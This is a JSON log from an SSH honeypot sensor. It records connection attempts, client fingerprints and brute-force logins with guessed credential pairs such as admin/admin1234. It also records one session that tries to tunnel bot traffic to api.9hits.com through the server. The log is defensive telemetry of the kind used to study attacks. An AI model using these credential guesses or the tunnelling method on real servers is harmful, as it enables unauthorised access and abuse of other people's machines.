{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:34.483057Z","src_ip":"103.60.242.169","session":"187182d66cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16296,"dst_ip":"159.203.135.109","dst_port":22,"session":"21e55ae78067","protocol":"ssh","message":"New connection: 91.92.40.36:16296 (159.203.135.109:22) [session: 21e55ae78067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:34.867731Z"}
{"eventid":"cowrie.login.failed","username":"tunnel","password":"qwe123","message":"login attempt [tunnel/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:35.545978Z","src_ip":"103.60.242.169","session":"187182d66cc6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:35.590725Z","src_ip":"91.92.40.36","session":"21e55ae78067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:35.594043Z","src_ip":"91.92.40.36","session":"21e55ae78067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:36.807460Z","src_ip":"103.60.242.169","session":"187182d66cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":50368,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdbe4bceff6c","protocol":"ssh","message":"New connection: 23.175.50.47:50368 (10.17.0.5:22) [session: cdbe4bceff6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:37.916407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:37.928339Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:37.998623Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:39.346668Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheyla","password":"sheyla","message":"login attempt [sheyla/sheyla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:40.185984Z","src_ip":"91.92.40.36","session":"21e55ae78067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13652,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ec8afcf34be","protocol":"ssh","message":"New connection: 91.92.40.36:13652 (159.203.135.109:22) [session: 7ec8afcf34be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:41.134807Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":56464,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bfafcd0dea4","protocol":"ssh","message":"New connection: 23.148.145.132:56464 (10.17.0.5:22) [session: 8bfafcd0dea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:41.651610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:41.658996Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:41.771115Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:42.563285Z","src_ip":"91.92.40.36","session":"7ec8afcf34be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:42.566321Z","src_ip":"91.92.40.36","session":"7ec8afcf34be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:42.674980Z","src_ip":"91.92.40.36","session":"21e55ae78067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":40730,"dst_ip":"159.203.135.109","dst_port":22,"session":"712f820b7dbf","protocol":"ssh","message":"New connection: 2.99.213.222:40730 (159.203.135.109:22) [session: 712f820b7dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:45.377956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:45.382457Z","src_ip":"2.99.213.222","session":"712f820b7dbf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:45.413841Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:45.481581Z","src_ip":"2.99.213.222","session":"712f820b7dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword12345","message":"login attempt [root/P@ssword12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:45.908256Z","src_ip":"2.99.213.222","session":"712f820b7dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62694,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fa8295442be","protocol":"ssh","message":"New connection: 123.27.168.40:62694 (10.17.0.5:22) [session: 0fa8295442be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:46.721393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:46.725487Z","src_ip":"123.27.168.40","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:46.975318Z","src_ip":"123.27.168.40","session":"0fa8295442be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.007008Z","src_ip":"2.99.213.222","session":"712f820b7dbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.277741Z","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.281491Z","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"Password123","message":"login attempt [andrew/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.287452Z","src_ip":"91.92.40.36","session":"7ec8afcf34be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.338046Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.8 Mobile/16G201 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VC9pbGs5WGpKeSlHMmpTcA%3D%3DMlnrLL5TVwm2ske5detrB%2BkTOgvd7wa9rix3TZCMPp2%2BU%2Fwl%2FcICWCz1ZeQAGXggfCSOYuF2SndNcpVg2YjzUDeuQLuATejckMP7K6Bbu05m3rUdACea9UKIrJzIWiU7m3XHbdYn2rWWOeQPOim0NBNYm42ZKpGB6ymCq8DQZxR75sxhkERdYcmqWAaYd2XjftQq8Zeya3uB1lmRZoaJ5VxSSmq8xDd%2Bf%2FQiEi5XN7zOsp1TQCxhfOpkB02mNXn7wrfbU8pjh%2BeOH%2BHIRs7PPYqVHBKvO%2FK0D2B1bi1RC7hJ%2FSDV5cuqOQetL70j%2BG%2BvhhZWiCoCXM1Ql3tgIkvPiUJ%2B%2BPEPSZwp%2B8h0UewY9i1hnSgNjgty6oenB%2FwsiMBtSMKkc5GlRcHYeQZhOk6VT7lkmC7qYOyRwpYL1OU2tmXHI9e3KhLKHXTW7wuTW9HfbJsMtpOkdKuL9wzR6b37lqX9IzMI%2FQenNlsIVyL8o8OTaTWd8iDVXchMNUf6fGR0GF%2FODVZJ2%2BsSkZ8GJC6%2FJMlby621TSp2yugEGcrGYF%2ByP%2B2vdN0V%2F7zkwvG6qBbhmnQ6m291ifLuBfI%2FQs4gedldy1ZwIJ%2FihOmNexUnEqoIPz7RHMJin8qhE7bdYZUWvurikAXdAntwnbUhLg9Ds4uXAofrYHO1Y26LJp%2B%2BGAbyP6xlzDZF6BaxH4Lu0wQIVirAdw86kqlf1OY%2Bdu3y%2FlGxoHhgw3ts7R%2FGe5lVRV3QFb1iyOAORRVHttV1yp4WOOkeOzW9J9AYxL%2FtDlGrUhXLVJLzM5r%2BsqCt4ieTAmda0kQ6zjrwMS2jcBc3AbncW7uitVeoQNTA%2FLJph2sZtfFcSIV4WgaRze84LQidEcPxBftcE01%2BI7JTnjxTvYXp1%2B%2BuzaygQvXBfEjHBByTGwGHhyAAmizbEeKsuvR2BTPKHmTSKz5nmKJGBCKUQzRkHXdr%2BFNW0H530itNfmw2AhK2Dnbgj7LxLlojqHj2KqBbqeXWzL32WQsVas9RiYJ2x5B%2F260dcJjf1dXv46lQX%2BmwNs6scwezQQKH2fbAj1A%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_4_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.8 Mobile/16G201 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VC9pbGs5WGpKeSlHMmpTcA%3D%3DMlnrLL5TVwm2ske5detrB%2BkTOgvd7wa9rix3TZCMPp2%2BU%2Fwl%2FcICWCz1ZeQAGXggfCSOYuF2SndNcpVg2YjzUDeuQLuATejckMP7K6Bbu05m3rUdACea9UKIrJzIWiU7m3XHbdYn2rWWOeQPOim0NBNYm42ZKpGB6ymCq8DQZxR75sxhkERdYcmqWAaYd2XjftQq8Zeya3uB1lmRZoaJ5VxSSmq8xDd%2Bf%2FQiEi5XN7zOsp1TQCxhfOpkB02mNXn7wrfbU8pjh%2BeOH%2BHIRs7PPYqVHBKvO%2FK0D2B1bi1RC7hJ%2FSDV5cuqOQetL70j%2BG%2BvhhZWiCoCXM1Ql3tgIkvPiUJ%2B%2BPEPSZwp%2B8h0UewY9i1hnSgNjgty6oenB%2FwsiMBtSMKkc5GlRcHYeQZhOk6VT7lkmC7qYOyRwpYL1OU2tmXHI9e3KhLKHXTW7wuTW9HfbJsMtpOkdKuL9wzR6b37lqX9IzMI%2FQenNlsIVyL8o8OTaTWd8iDVXchMNUf6fGR0GF%2FODVZJ2%2BsSkZ8GJC6%2FJMlby621TSp2yugEGcrGYF%2ByP%2B2vdN0V%2F7zkwvG6qBbhmnQ6m291ifLuBfI%2FQs4gedldy1ZwIJ%2FihOmNexUnEqoIPz7RHMJin8qhE7bdYZUWvurikAXdAntwnbUhLg9Ds4uXAofrYHO1Y26LJp%2B%2BGAbyP6xlzDZF6BaxH4Lu0wQIVirAdw86kqlf1OY%2Bdu3y%2FlGxoHhgw3ts7R%2FGe5lVRV3QFb1iyOAORRVHttV1yp4WOOkeOzW9J9AYxL%2FtDlGrUhXLVJLzM5r%2BsqCt4ieTAmda0kQ6zjrwMS2jcBc3AbncW7uitVeoQNTA%2FLJph2sZtfFcSIV4WgaRze84LQidEcPxBftcE01%2BI7JTnjxTvYXp1%2B%2BuzaygQvXBfEjHBByTGwGHhyAAmizbEeKsuvR2BTPKHmTSKz5nmKJGBCKUQzRkHXdr%2BFNW0H530itNfmw2AhK2Dnbgj7LxLlojqHj2KqBbqeXWzL32WQsVas9RiYJ2x5B%2F260dcJjf1dXv46lQX%2BmwNs6scwezQQKH2fbAj1A%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:47.341126Z","src_ip":"23.175.50.47","session":"cdbe4bceff6c","protocol":"ssh"}
